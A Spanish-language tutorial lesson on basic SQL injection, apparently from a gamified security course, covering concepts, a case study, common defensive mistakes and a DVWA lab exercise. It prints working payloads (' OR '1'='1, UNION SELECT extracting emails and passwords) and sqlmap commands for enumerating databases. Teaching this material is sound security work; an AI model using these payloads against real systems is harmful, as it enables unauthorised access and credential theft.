Explota Servicios Web con SQL Injection Básica

Lectura
22 min~5 min lectura

Concepto clave

La SQL Injection es una vulnerabilidad que permite a un atacante interferir con las consultas que una aplicacion web hace a su base de datos. Imagina que una aplicacion web es como un recepcionista en un hotel: tu le das tu nombre (datos de entrada), y el busca en el registro (base de datos) para ver si tienes reserva. La SQL Injection seria como darle al recepcionista instrucciones adicionales que no deberia seguir, como "busca mi nombre y tambien muestrame todas las reservas de otros clientes".

Esta vulnerabilidad ocurre cuando una aplicacion web no valida ni sanitiza correctamente los datos que recibe del usuario antes de usarlos en una consulta SQL. El atacante puede inyectar codigo SQL malicioso a traves de campos de entrada como formularios de login, barras de busqueda, o parametros URL. Esto puede llevar a que el atacante acceda, modifique o elimine datos sensibles de la base de datos, incluso si no tiene permisos para hacerlo.

Como funciona en la practica

Veamos un ejemplo paso a paso de como se explota una SQL Injection basica:

  1. Identificacion: Primero, buscamos un punto de entrada vulnerable. Por ejemplo, en un formulario de login, probamos ingresar una comilla simple (') en el campo de usuario. Si la aplicacion muestra un error de base de datos (como "You have an error in your SQL syntax"), es probable que sea vulnerable.
  2. Prueba basica: Si el formulario espera un usuario y contraseña, la consulta SQL podria ser algo como: SELECT * FROM usuarios WHERE usuario = 'admin' AND password = '123456'. Al inyectar ' OR '1'='1 en el campo de usuario, la consulta se convierte en: SELECT * FROM usuarios WHERE usuario = '' OR '1'='1' AND password = '123456'. Como '1'='1' es siempre verdadero, esto puede burlar la autenticacion.
  3. Explotacion: Usamos herramientas como sqlmap en Kali Linux para automatizar la explotacion. Por ejemplo, ejecutamos: sqlmap -u "http://sitio-vulnerable.com/login.php?usuario=admin" --dbs para listar las bases de datos disponibles.

Caso de estudio

Considera una aplicacion web de una tienda online que tiene una pagina de busqueda de productos. La URL es: http://tienda.com/buscar?q=zapatos. Un analista de seguridad sospecha que es vulnerable a SQL Injection.

PasoAccionResultado
1Probar con una comilla simple: http://tienda.com/buscar?q=zapatos'Error de sintaxis SQL en la pagina
2Inyectar codigo para listar tablas: http://tienda.com/buscar?q=zapatos' UNION SELECT table_name FROM information_schema.tables--Muestra nombres de tablas como "usuarios", "productos"
3Extraer datos de la tabla usuarios: http://tienda.com/buscar?q=zapatos' UNION SELECT email, password FROM usuarios--Obtiene credenciales de usuarios en texto plano
En este caso, el atacante exploto la vulnerabilidad para robar informacion sensible, demostrando la importancia de sanitizar entradas.

Errores comunes

  • No validar entradas: Aceptar cualquier dato del usuario sin filtrar caracteres especiales como comillas o puntos y coma. Solucion: Usar parametrizacion de consultas o prepared statements.
  • Confiar en el cliente: Validar solo en el lado del cliente (JavaScript) que puede ser facilmente omitido. Solucion: Validar siempre en el servidor.
  • Mensajes de error detallados: Mostrar errores de base de datos completos al usuario, lo que ayuda a atacantes. Solucion: Configurar la aplicacion para mostrar mensajes genericos de error.
  • Usar cuentas con privilegios altos: Conectar la aplicacion a la base de datos con permisos de administrador. Solucion: Usar cuentas con permisos minimos necesarios.
  • Olvidar escapar caracteres: No aplicar funciones de escape como mysqli_real_escape_string() en PHP. Solucion: Implementar sanitizacion consistente.

Checklist de dominio

  1. Identificar al menos un punto de entrada vulnerable en una aplicacion web (ej., formulario, parametro URL).
  2. Probar manualmente con inyecciones basicas como ' OR '1'='1 y observar respuestas.
  3. Usar sqlmap en Kali Linux para automatizar la deteccion y explotacion en un entorno controlado.
  4. Comprender como una consulta SQL se modifica con la inyeccion (ej., ver la sintaxis resultante).
  5. Extraer informacion sensible de una base de datos simulada (ej., nombres de tablas o datos de usuarios).
  6. Documentar los pasos y hallazgos en un formato basico para un informe de seguridad.
  7. Reconocer y evitar errores comunes como no sanitizar entradas o mostrar errores detallados.

Practica de SQL Injection en un Entorno Controlado con DVWA

En este ejercicio, practicaras SQL Injection basica usando Damn Vulnerable Web Application (DVWA) en un entorno controlado. Sigue estos pasos:

  1. Configuracion inicial: Asegurate de tener Kali Linux ejecutandose con DVWA instalado. Si no lo tienes, descarga DVWA desde su sitio oficial y configuralo en un servidor local como XAMPP.
  2. Acceso a DVWA: Abre un navegador en Kali Linux y ve a http://localhost/dvwa. Inicia sesion con las credenciales predeterminadas (usuario: admin, password: password).
  3. Nivel de seguridad: En DVWA, ve a "DVWA Security" y establece el nivel en "Low" para facilitar la practica.
  4. Identificar vulnerabilidad: Ve a la seccion "SQL Injection". En el campo de entrada, prueba ingresar una comilla simple (') y presiona enviar. Observa si aparece un error de SQL.
  5. Inyeccion basica: Intenta inyectar ' OR '1'='1 en el campo y verifica si obtienes todos los registros de la base de datos.
  6. Usar sqlmap: Abre una terminal en Kali Linux. Ejecuta el siguiente comando para probar la vulnerabilidad: sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=tu_sesion" --dbs (reemplaza "tu_sesion" con tu ID de sesion de DVWA).
  7. Extraer datos: Usa sqlmap para listar las tablas de una base de datos y extraer datos de ejemplo, como nombres de usuarios.
  8. Documentacion: Toma notas de los pasos, comandos usados, y lo que encontraste. Prepara un resumen breve para simular un informe de seguridad.
Pistas
  • Asegurate de que DVWA este en nivel "Low" de seguridad para evitar protecciones avanzadas.
  • Usa la opcion --cookie en sqlmap para mantener la sesion activa de DVWA.
  • Si no ves errores, prueba diferentes payloads como ' OR '1'='1'-- o ' UNION SELECT null, null--.

Evalua tu comprension

Completa el quiz interactivo de arriba para ganar XP.